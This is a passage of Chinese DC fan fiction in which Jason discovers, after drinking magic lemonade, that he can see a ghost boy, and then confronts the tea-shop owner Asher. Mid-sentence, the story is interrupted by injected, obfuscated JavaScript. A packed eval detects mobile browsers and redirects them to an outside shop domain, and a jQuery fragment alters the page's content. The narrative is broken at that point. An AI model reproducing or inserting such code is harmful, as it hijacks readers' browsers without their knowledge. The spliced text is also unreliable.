说真的，真该让斯蒂芬妮重新评价一下——他的演技明明就好得不得了。
【喂？】
“我的意思是，就算有应对手段，我们也最好还是谨慎一些。”杰森垂着眼帘，听到自己的声音以一种超乎寻常的，平静的方式溜出嗓子，“那个店员，他绝对是故意的。”
“为什么？”斯蒂芬妮晃了晃椅子。
【Hello？】
“表情、眼神——或者你干脆认为是我的直觉。”杰森断言，“总之，不管他是出于什么心态，这都是一种警告。”
可能是警告他别对星星果茶探究太多，也可能是警告他别想着欺骗阿谢尔？谁知道呢。
【别装了，你明明就可以看到我吧！】
“嗯。”提姆对杰森的说法表示认可。
但不管怎么样，目前针对黑发青年的调查毫无进展也毫无头绪，他们再在在这里纠结下去纯属浪费时间。提姆合上笔记本电脑，站起身来，斯蒂芬妮也跟着站起来，伸了个懒腰，顺势把散乱的金发重新挽成一个完美的丸子头。
“我下午有课，先回学校了。”提姆说。
【小鸭宝宝，真辛苦啊。】
小鸭宝宝——？谁？提姆？
杰森的表情僵了一下，为了掩饰这一瞬的不自然，他用尽自己平生最好的演技，张大嘴，打了个哈欠，这一幕落在斯蒂芬妮的眼里，金发少女的神情中多了几分不赞同。
“你昨晚夜巡到几点？”
“两点半。”
【你也很努力嘛。】
杰森条件反射地举起手发誓：“小卡在通讯频道里发了出门消息之后，我就立刻回家睡觉了。”
虽然以前他的确经常偷偷增加夜巡的广度和深度，但昨晚真的没有——毕竟今天可是杰伊·鲍勃入职星星果茶的第一天，就算不为了神奇柠檬水，只为自己得到第一份正式工作的尊严，他也绝不允许刚入职就因犯困而被辞退这种事发生。
面对杰森的信誓旦旦，斯蒂芬妮选择保持质疑：“真的？”
“是真的。”
还没等杰森继续说什么，收拾好背包的提姆已经主动帮他解围，他挎上背包，抬起手看了眼手表，又重新看向斯蒂芬妮。
“我先走了，别忘了今晚在港口那边的安全屋集合。”提姆轻描淡写地安排。
斯蒂芬妮回了个收到的手势，才重新把视线放回杰森身上。为了不显得刚才的哈欠太突兀，杰森这会儿正努力做出一副“很困很困但不是因为没睡够只是单纯很累所以很困”的表情。
有了提姆的背书，再看杰森的神态，斯蒂芬妮最终还是选择相信，并不由得在内心对星星果茶的工作升起一股奇异的敬意。
摇奶茶似乎真的很累啊，他们家这位大块头老哥还是第一次疲惫得如此明显呢……
斯蒂芬妮：“那我先回去了，我和小卡打算去打卡附近新开的一家法餐厅，要不要给你——”
“——不用。”杰森婉拒，“我也先回去了，睡一会儿再说。”
“好吧。”斯蒂芬妮耸耸肩。
杰森：“那我就先回去了。”
怎么说呢——杰森的心里有点微妙的小得意——果然还是应该让斯蒂芬妮再评价一下他的演技，这不是全都骗过去了吗？
【啧啧，明明是年龄最大的一个，结果根本不被当作大哥嘛，连说话都没分量。】
“……”
忍住，杰森，基地有监控。
杰森再再再一次地深吸一口气，绷着脸，关好秘密基地大门，无视漂浮着跟在他身旁的黑发少年一路上叽叽喳喳吵闹的声音，骑上摩托车，风驰电掣地回到安全屋。
距离上次搬家才过去两个多月，杰森的安全屋空空荡荡，若非客厅的沙发旁摆了个游戏机，乍看过去还没宜家的样板间来得有人气。
【怎么感觉你们还挺有钱的？哪来的？】
黑发少年盘着腿坐在空中，他似乎早就习惯了不管说什么做什么都没有任何人回应的状态，面对杰森的无视，依旧能自顾自地说个不停。
所以，排除出现了新的、不知名的、拿他第一个开刀的神秘坏蛋这一可能外——他今天有吃什么奇怪的东西吗？
杰森坐在沙发上思考。
早餐是提姆前两天准备好放在他冰箱里的，虽然也只是几个三明治而已，中午更是到现在都还没吃上饭。真算起来，也就是上午在店里喝了一杯自己做的柠檬水，临下班时因为做错了甜度又带回来一杯，刚刚在基地里一口气喝完了。
连带前几天路过时买的那杯算在一起，他目前一共喝了三杯？
如果真是因为柠檬水的话，这算什么？事不过三？
杰森差点被自己逗笑。飘在空中的少年歪歪头，黑色眼罩下的蓝眼睛转了转，下一秒，一条断掉的胳膊被扔进杰森怀里，速度太快，距离太近，杰森甚至能看到那条胳膊皮肉骨都惨白一色的横切面，那只手戴着的手套上细小的磨损痕迹，以及被擦得发亮的金属卡扣。
“——！！！”
杰森猛地站了起来。
【哈哈哈哈哈哈哈！】
【哈哈哈哈哈哈——又不会真的碰到你——诶？】
眼看着那条胳膊触碰到杰森的身体后，明显受力拐弯，又在沙发上弹了一下才掉到地上，刚捧腹大笑的黑发少年也愣在原地，呆呆地张大嘴。
【碰到了——？】
杰森：“……”
杰森只觉得额头的青筋直冒：“你干什么！？”
黑发少年瘪瘪嘴：【我又不知道会碰到你。】
他本意只是想吓一下这个臭小孩，好让对方能别再装看不见他。
【毕竟这么多年，你是第一个能看到我的人。】少年把胳膊捡回去，擦擦不存在的灰，重新安到肩膀上，【我有好多问题想问你。】
“……”
真巧，他也有好多问题想找人问问——杰森看着坐在茶几上的黑发少年，视线落在他的披风上，眼神复杂。
“我不清楚你想问什么。”他说，“但我知道有一个人，大概率——至少清楚最重要的问题。”
“为什么能看到鬼魂？”
远远的，阿谢尔便瞥见了公寓楼大门侧后方那个巨大的垃圾桶，他的眼神亮了一瞬，回答问题的态度有些漫不经心：“我也不清楚，我家——老家那边本身就是能看到鬼魂的。”
不光能看到，还会有鬼打他呢，这些鬼说是死了，可手还会打人，可怕得很！
在第三次尝试看似不经意地朝垃圾桶的方向走，又被极小的淡金色方块撞回来之后，阿谢尔耷拉着一张脸，委屈巴巴地开口，继续刚刚的话题。
“我不去，好亚蒂，好妈咪，我真不会去翻垃圾桶的——怎么突然问这个呢？”
黑发青年目不斜视：“今天米德看到了。”
阿谢尔：“？”
阿谢尔大惊失色：“他在哪里看到的？家里闹鬼了！？”
“……”
这是什么反应——明明能看到鬼，甚至能跟鬼物理搏斗，却还很怕闹鬼吗？
黑发青年无语地接着说：“在窗外，看起来很透明的一只，跟米德说完话，很快就消失了。”
“哦哦。”阿谢尔眨眨眼睛，“这样啊。”
他要是说自己也不知道，会不会被妈咪揍？但是被揍的话就可以找借口不干活或者要求别的……
“阿谢尔·玛格丽特·奈特。”
“对不起。”
阿谢尔推开大门的密码锁盖子，噼里啪啦地输入密码：“我也不能确定是因为什么。不过这个世界的灵魂很少，估计大多数的灵魂都只能坚持死后的一小段时间，然后就去天堂或者地狱了吧。回头我做把小剑给米德，要是碰到坏鬼，就让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809253|210772||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他用剑砍——嗯？”
黑发青年已经走进前厅里，同样看到了信箱处滑落的两封信件，他瞥了眼已经塞满的那个信箱，捡起两封信，递给阿谢尔。
“啊，都是402的。”阿谢尔记得这个租户，“那个腿脚不方便的大哥。”
这两封来信都是打印的字体，寄信人虽有不同，寄信地址却一模一样，上面还盖着相同的邮戳，和一个小小的Logo标记。阿谢尔认得那个Logo——抵达哥谭的第一天就认得了——是韦恩集团。
“应该是赔偿金。”凭手感和刚才一扫而过看到的其他信件内容，黑发青年推测道，“他的腿伤可能和公司有关。”
边说着，他边按下电梯，侧侧身，示意阿谢尔赶紧上来，阿谢尔将信封翻过来又看了眼，里面薄薄一层，确实像支票。
阿谢尔：“那这韦恩集团还挺好的。”
比起某些害人出事之后半分都不舍得赔偿的公司强太多了，不愧是哥谭的地头蛇企业，韦恩老板是个良心资本家啊。
电梯先停在四楼，阿谢尔敲了敲402的房门，屋内的租客坐着轮椅开门时，表情还算平和，待到看见那两封来自韦恩集团的信封时，脸色却急转直下。
“谢谢。”租客硬邦邦地撂下一句话，“砰”地关上门，门外的阿谢尔险些吃了一鼻子灰，疑惑地皱了皱脸，快步走回电梯里。黑发青年了然地挑了下眉尾，按下电梯按键。
“叮”
8楼到了。
独属于房主的一整层大公寓，前房主设计打理得很好，从电梯厅开始就是会客区。阿谢尔笑眯眯地蹲下身，张开怀抱，迎接一枚橘色小炮弹。
“阿什！”
橘色小炮弹扎进阿谢尔怀里，好在他只是看起来瘦，实则衣服下全是腱子肉，才没被撞得翻过去。埋在橘发小孩柔软的发顶，猛吸一口香甜的洗发露味后，阿谢尔松开手，站起身，目送小炮弹轻手轻脚地走到身后的黑发青年身旁，乖巧仰头。
“兰波。”橘发蓝眼的孩童掰着手指头邀功，“我今天学会拼写你和阿什的名字了！我还把阿什忘了浇水的蔓越莓都浇水了，我还——嗯，我还把苹果树上结的果子都收到仓库里了！”
“哇，好厉害——小米迪是最厉害最乖的小孩对不对？兰波妈咪？”
阿谢尔附和着起哄。
在婴儿蓝和湛蓝的两双蓝眸凝视下，黑发青年——兰波柔软了眉眼，放轻声音夸奖：“做得很好。等下一批苹果也熟透，我们就能增加苹果味的新品了。”
“这种时候就不要提工作啦！”
阿谢尔哀嚎着抗议。
——————
翌日。
精神饱满的阿谢尔刚拉起卷帘门没两分钟，杰森就停好车，走进了屋内。假如不细看的话，他的模样和昨天没什么区别。但阿谢尔的观察力向来很好——这么多年的锻炼下来，阿谢尔甚至能在满是真·垃圾的垃圾桶里精准翻到极其微小的种子——所以一眼就看出了问题。
“杰伊，年轻人要少熬夜……”
老气横秋的口吻，杰森差点没忍住翻白眼。好在他还记得今天新增的重要任务——他不动声色地在身后摆摆手，鬼魂形态的黑发少年配合地从拐角处飘出来，以近乎瞬移的速度冲到阿谢尔面前，又猛然刹停。
“——！”
阿谢尔瞪大眼睛、后退一步，手放在后腰处，要不是仅存的理智提醒他，恐怕大宝剑已经砸在黑发少年头上了。而看着这一幕的杰森，如释重负般长呼一口气。
杰森：“所以——你能看到他。”
阿谢尔：“……”
阿谢尔：“……算是吧。”
“我之前看不到，但我昨天喝完最后一杯柠檬水之后，忽然就看到了他——奈特先生。”
杰森凝视着阿谢尔，一字一顿地说。
“我们需要谈谈。”